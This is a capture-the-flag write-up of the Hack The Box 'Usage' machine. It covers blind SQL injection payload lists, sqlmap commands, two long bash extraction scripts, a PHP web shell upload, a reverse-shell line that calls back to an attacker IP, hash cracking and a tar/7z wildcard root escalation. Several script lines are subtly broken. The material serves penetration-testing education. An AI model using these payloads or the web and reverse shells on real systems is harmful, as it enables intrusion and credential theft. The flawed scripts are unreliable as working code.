Hello guys! My name is Fernando, today I’m going to explain you how I solved a Hack The Box machine. This machine has helped me a lot to learn about bash scripting, as I created a script to obtain a hash by exploiting a Blind SQL Injection (time-based / boolean-based) in three different ways .We will also get a RCE thanks to the vulnerability of a service, we will obtain some credentials in a file and finally we will escalate privileges by abusing a service that we can run as root. But let’s take it step by step ^^

Reconnaissance

First, I started enumerating the open ports using Nmap tool.

nmap -sVC -Pn --min-rate 5000 10.10.11.18 -v -o Open_ports -p-

I could see that there were two ports open, 22 ssh and 80 http.
For port 22 I tried anonymous session but no luck :( , which made me focus on port 80.

On port 80 I first used wahtweb tool to get a general idea of the services that were running in the background. So let's take a look

GitHub - urbanadventurer/WhatWeb: Next generation web scanner
Next generation web scanner. Contribute to urbanadventurer/WhatWeb development by creating an account on GitHub.
whatweb 10.10.11.18

Looking at the output I could see that nginx was running in the background, and I could also see that the ip redirected me to a domain (usage,htb). I added it in the /etc/hosts file and it made me think that maybe there was some subdomain, so to gather more information let's enumerate them.

For enumerating subdomains I will use ffuf tool , but it could have been done with many other tools such as wfuzz, dirsearch....

ffuf -u http://10.10.11.18 -H "Host: FUZZ.usage.htb" -w ~/tools/wordlist/subdomains-top1million-5000.txt -ac

We have found another subdomain called admin, this subdomain I will also add it to/etc/hosts.

10.10.11.18 usage.htb admin.usage.htb

Taking a look at the two subdomains we find in the admin subdomain one path called /index.php in which there is a login which does not seem very interesting but perhaps it could be useful in the future. In the usage.htb domain we find several paths but I couldn't find anything interesting in any of them except in /forgot-password, this route had a panel in case you forgot the password, let's see how it works. 🤔

/forgot-password

Let's try writting any email and see what happens.

First if we enter a test email we see that we get “Email address does not match in our records!” this makes us think that behind there is an email parameter, which a query is validating whether or not that email exists. Query should look something like this.

select user from table where email = "test@gmail.com"

Let's try the typical payloads to see if any of them validate the query

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*

This is very tasty 🫣, it seems that if we put the typical ' or 1=1 – - the query is validated, which makes us think that it`s vulnerable to a SQL Injection, let's see how we can get it out.

I will explain three ways in which we can try to get a SQLI in this case it will be blind because we only see as a response the message "We have e-mailed your password reset link"

1.-Burp Suite Intruder

The first way is to use Burpsuite, so the first thing I do is to take the request.

We are going to alter the email parameter, the first thing we will do is to try to get the database, for this we will use the following query.

' or substring(database(),1,1)=''-- -

For this part I will use Intruder Burptsuite tool to generate different payloads, we have to write something like this.

' or substring(database(),1,1)='§a§'-- -

As we know that our query is valid when we get the message “We have e-mailed ‘your reset password link’ we edit the ‘Grep-Mathc’ section and what we will try to see is with which character we get that message.

We start the attack and we just have to see which of all the queries has matched the previous message, in this case u. So we know that the first character in the database is a "u"

This can be very tedious, so what I will do is to make a script that will automate all this and not only take out the database.

2.-SQL map

The following way is the one that I personally like the least, since I will use the Sqlmap tool that automates everything and tests many payloads, so it is the one you learn the least. For that reason I am only going to say which is the command that I used and I am not going to stop so much.

To retrieve the database, we intercept the request, save it in a file and write the following

sqlmap -r request.request --level 5 --risk 3 --threads 10 -p email --batch --dbs

To get the tables out of the usage_bolg database

sqlmap -r request.request --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog --tables

To retrieve what is inside the admin_users table we will do the following

sqlmap -r request.request --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog -T admin_users --dump

Output should look like this

3.-Bash script

This is the most fun part in my opinion, it was the part I learned the most. The first thing I wanted to automate was a bolean-based, the payloads are as follows.

Database length ---> test' or (select length(database()))=$i--+-
Datbase name ---> test ' or substring(database(),$i,1)='$character'--+-
Tables ---> test' or (select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character'--+-
Colums ---> test' or (select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character'--+-
Information ---> test' or (select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character'--+-

This scrip also automates the obtaining of the two cookies and the token.

  • Bolean-based

And the final script looks like this

#!/bin/bash

#Colors
red="\e[0;31m"
white="\e[0;38m"
green="\e[0;32m"
blue="\e[0;34m"
normal="\e[0;m"
purple="\e[0;35m"

#Url
main_url="http://usage.htb/forget-password"

#Coockies
function Obtencion_de_cookie {
    respuesta=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' $main_url -s -c galletas)
    laravel_session_cookie=$(cat galletas | grep laravel_session| awk '$6 == "laravel_session" {print $7}')
    xsrf_token_cookie=$(cat galletas |grep XSRF| awk '$6 == "XSRF-TOKEN" {print $7}')

    echo -e "${red}[!]${green}Laravel session cookie: ${normal}"$laravel_session_cookie
    echo -e "${red}[!]${green}xsrf_token_cookie: ${normal}"$xsrf_token_cookie
}

#Token

token=$(curl http://usage.htb/forget-password -s | grep token | grep -o 'value="[^"]*"' | awk -F'"' '{print $2}')

Obtencion_de_cookie

echo -e "${red}[!]${green}Obteniendo Longitud del nombre de la base de datos${normal}"

#Database lenght
function get_database_length {
    for (( i=1; i<=20; i++ )); do

        post_data="_token=$token&email=test' or (select length(database()))=$i--+-"
        response=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)
	    
        if [[ $response == *"We have e-mailed your password"* ]]; then

                length=$i
		        echo -e "${red}[!]${green}Longitud del nombre de la base de datos: ${purple}$length${nomal}"
                i=20
        fi
    done
}

get_database_length


#Diccionary
characters=(, {a..z} - _ )

#(Ctrl+C)
function def_handler {
    echo -e "[!] Exit..."
    exit 1
}

trap def_handler SIGINT


#Database name
function makeSQLI {
    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    database=""

    for (( i=1; i<=$length; i++ )); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=test ' or substring(database(),$i,1)='$character'--+-"

            response=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Base de datos encontrada:${normal}$database$character\r"
            if [[ $response == *"We have e-mailed your password"* ]]; then
                database+="$character"
		sleep 1
		break
            fi
        done
    done

    echo -e "${red}[!]${green}Finalizando búsqueda. Base de datos completa: ${purple}$database"
}

makeSQLI

#Tables 
function tables {
    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    tabla=""

    for ((i=1; i<=151; i++)); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=tes' or (select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character'-- -"
            response=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Tables:${normal}$tabla$character\r"
            if [[ $response == *"We have e-mailed your password"* ]]; then
                tabla+="$character"
		sleep 1
		break
            fi
        done
    done
    
    echo -e "${red}[!]${green}Tablas encontradas"

    IFS=','

    for item in $tabla 
    do 
	echo -e "${green}\t[!]${purple}$item${normal}"
    done


}

tables


#Columns
function columns {
    read -p "Introduzca una tabla: " tabla_name

    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    tabla=""

    for ((i=1; i<=70; i++)); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=tes' or (select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character'-- -"

            response=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Columna encontrada:${normal}$tabla$character\r"
            if [[ $response == *"We have e-mailed your password"* ]]; then
                tabla+="$character"
		sleep 1
		break
            fi
        done
    done
    echo -e "${red}[!]${green}Columnas encontradas"

    IFS=','

    for item in $tabla 
    do 
	echo -e "${green}\t[!]${purple}$item${normal}"
    done

}

columns

function dates {
    read -p "Introduzca las columnas separadas por comas: " stuffs

    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    characters=(, {a..z} {A..Z} {1..9} - _ $ *)
    datos=""
    caracteres=""
    

    for ((i=1; i<=300; i++)); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=tes' or (select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character'-- -"
            response=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Caracteres encontrados:${normal}$datos$character\r"
            if [[ $response == *"We have e-mailed your password"* ]]; then
                datos+="$character"
		sleep 1
		break
            fi
        done
    done
    echo -e "${red}[!]${green}Datos encontradas"

    IFS=','

    for item in $datos 
    do 
	echo -e "${green}\t[!]${purple}$item${normal}"
    done
    
}
dates
0:00
/1:56
  • Time-Based

Once I finished the bolean-based I thought about whether to continue with the machine but I think I was missing a great opportunity to learn something more about SQLI , so I went for a SQLI time-based, and this is how I did it.

The first thing I did was to try the typical payloads with sleep

1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='

After doing some tests, such as using only a few characters or removing the parentheses, I realized that the word “sleep” was blocking me 😡. I have been trying to bypass that word in several ways but I did not get any results 🫠. So i tried different payloads.

benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))-- -
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#

No matter what payloads I tried none of them gave me any delay in the response.So it was time to ask saint google ^^

After some googling I came across the following page where I found something very interesting

SELECT IF(expression, true, false)
Blind SQL Injection | OWASP Foundation
Blind SQL Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

Seeing the If command, I tried a few things until the magic happened.

0:00
/0:18

As we can see the request has a small delay, now we will modify the previous script so that instead of getting the message that the email exists, it will get the response time. The payloads I will use are as follows

' or if((select length(database()))=$i,BENCHMARK(1000000000, MD5(1)),0)-- -
' or if(substring(database(),$i,1)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -
' or if((select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -
' or if((select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -
' or if((select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -

This is the script with some changes

#!/bin/bash

#Colors
red="\e[0;31m"
white="\e[0;38m"
green="\e[0;32m"
blue="\e[0;34m"
normal="\e[0;m"
purple="\e[0;35m"

#Url
main_url="http://usage.htb/forget-password"

#Obtein the coockies
function Obtencion_de_cookie {
    respuesta=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' $main_url -s -c galletas)
    laravel_session_cookie=$(cat galletas | grep laravel_session| awk '$6 == "laravel_session" {print $7}')
    xsrf_token_cookie=$(cat galletas |grep XSRF| awk '$6 == "XSRF-TOKEN" {print $7}')

    echo -e "${red}[!]${green}Laravel session cookie: ${normal}"$laravel_session_cookie
    echo -e "${red}[!]${green}xsrf_token_cookie: ${normal}"$xsrf_token_cookie
}


Obtencion_de_cookie

#Token

token=$(curl http://usage.htb/forget-password -s | grep token | grep -o 'value="[^"]*"' | awk -F'"' '{print $2}')

echo -e "${red}[!]${green}Obteniendo Longitud del nombre de la base de datos${normal}"

#Database lenght
function get_database_length {
    for (( i=1; i<=20; i++ )); do

        post_data="_token=$token&email=test' or if((select length(database()))=$i,BENCHMARK(1000000000, MD5(1)),0)-- -"
        response=$(curl -L  -H -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)
	    
        if [[ $response >= 5 ]]; then

                length=$i
		        echo -e "${red}[!]${green}Longitud del nombre de la base de datos: ${purple}$length${nomal}"
                i=20
        fi
    done
}

get_database_length


#Diccionary
characters=(, {a..z} - _ )

#(Ctrl+C)
function def_handler {
    echo -e "[!] Exit..."
    exit 1
}

trap def_handler SIGINT


#Database name
function makeSQLI {
    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    database=""

    for (( i=1; i<=$length; i++ )); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=test ' or if(substring(database(),$i,1)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"

            response=$(curl -L  -H -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Base de datos encontrada:${normal}$database$character\r"
            if [[ $response >= 5 ]]; then
                database+="$character"
		sleep 1
		break
            fi
        done
    done

    echo -e "${red}[!]${green}Finalizando búsqueda. Base de datos completa: ${purple}$database"
}

makeSQLI

#Tables 
function tables {
    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    tabla=""

    for ((i=1; i<=151; i++)); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=tes' or if((select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"
            response=$(curl -L  -H $'Content-Type: application/x-www-form-urlencoded' -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded'-b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Tables:${normal}$tabla$character\r"
            if [[ $response >= 5 ]]; then
                tabla+="$character"
		sleep 1
		break
            fi
        done
    done
    
    echo -e "${red}[!]${green}Tablas encontradas"

    IFS=','

    for item in $tabla 
    do 
	echo -e "${green}\t[!]${purple}$item${normal}"
    done


}

tables


#Columns
function columns {
    read -p "Introduzca una tabla: " tabla_name

    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    tabla=""

    for ((i=1; i<=70; i++)); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=tes' or or if((select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"

            response=$(curl -L  -H  -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Columna encontrada:${normal}$tabla$character\r"
            if [[ $response >= 5 ]]; then
                tabla+="$character"
		sleep 1
		break
            fi
        done
    done
    echo -e "${red}[!]${green}Columnas encontradas"

    IFS=','

    for item in $tabla 
    do 
	echo -e "${green}\t[!]${purple}$item${normal}"
    done

}

columns

function dates {
    read -p "Introduzca las columnas separadas por comas: " stuffs

    echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
    sleep 2

    characters=(, {a..z} {A..Z} {1..9} - _ $ *)
    datos=""
    caracteres=""
    

    for ((i=1; i<=300; i++)); do
        for character in "${characters[@]}"; do

            post_data="_token=$token&email=test' or or if((select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"
            response=$(curl -L  -H -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie '  --data-binary "$post_data"   $main_url -s)

	    echo -ne "${red}[!]${green}Caracteres encontrados:${normal}$datos$character\r"
            if [[ $response >= 5 ]]; then
                datos+="$character"
		sleep 1
		break
            fi
        done
    done
    echo -e "${red}[!]${green}Datos encontradas"

    IFS=','

    for item in $datos 
    do 
	echo -e "${green}\t[!]${purple}$item${normal}"
    done
    
}
dates

And the final output looks like this

Once the scripts are finished, let's continue with the machine.

Shell as Dash

Let's crack the credentials we have from SQLI

$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

Looking in the hash dictionary we found the 3200 which looks quite similar to the one we have, so we used hashcat.

hashcat hash ~/tools/wordlist/rockyou.txt -m 3200

We found it! Lets go to admin.usage.htb to the login panel admin:whatever1

As we have a version lets search on google and see what can we found. After a lot of searching I came to the following post https://flyd.uk/post/cve-2023-24249/

So lets try it. First we will create the typical payload

<?php system($_REQUEST['cmd']); ?>

I will try to edit the admin avatar whit my .php file

So I will to intercept the request and lets see if we can change something. But first i will change the name to test.php.jpg. I will change this

I will make one change in the parameter filename.

filename='test.php.jpg'
filename='test.php'

Now click on the download icon that takes us to the path of the avatar picture, and finally we have RCE.

Lets make our reverse shell, in this case I will use pestmokey cheat sheet. we also have to set a listening port.

Reverse Shell Cheat Sheet | pentestmonkey
bash -c 'bash -i >%26 /dev/tcp/10.10.16.5/443 0>%261'

nc -nvlp  1234

And we have it

So now we can read the user flag in /home/dash/ directory

Now lets enumerate the directories a little bit , we can make an ls -la in home directory to enumerate hidden files.

Wikipedia says

Monit is a free, open-source process supervision tool for Unix and Linux. With Monit, system status can be viewed directly from the command line, or via the native HTTP(S) web server. Monit is able to do automatic maintenance, repair, and run meaningful causal actions in error situations.

So lets take a look at the files; monit.id, monit.pid and monit.state dont have anything useful but .monitrc

It looks like a password, if we go back we can see some users

So lets try to connect via ssh using user xander and password 3nc0d3d_pa$$w0rd

ssh xander@ip

xander@10.10.11.18's password: 3nc0d3d_pa$$w0rd

And it works

Lets go for root, so I will transfer linpeas to my victim machine via http.server

But it doesn't show me nothing interesting so I will enumerate manually , lest start with SUID perms.

None of them caught my attention, so I will see if I can execute something like root.

We can run /usr/bin/usage_management as root , I am going to see what its this

It seems to be an executable, let's run it and see what happens.

I tried the three options that the program had but none seemed to help me, I tried using default credentials after resetting the password. So let's continue collecting information about the service with the strings command.

In this script there is something that catches my attention, and it is the wildcard (*) in the tar command

This kind of wildcards are always dangerous, so what we will do is to look in our bible, Hack Tricks, and see what we find.

Wildcards Spare tricks | HackTricks

We read section 7z and transfer it to our particular case

It will look something like this

Now we have ssh key but , we have to edit it to remove the final part of each line and give it the 600 permission so that we can use it in the ssh command with the -i argument

ssh -i id_rsa root@usage.htb

And its pwned, root flag is in /root/ directory.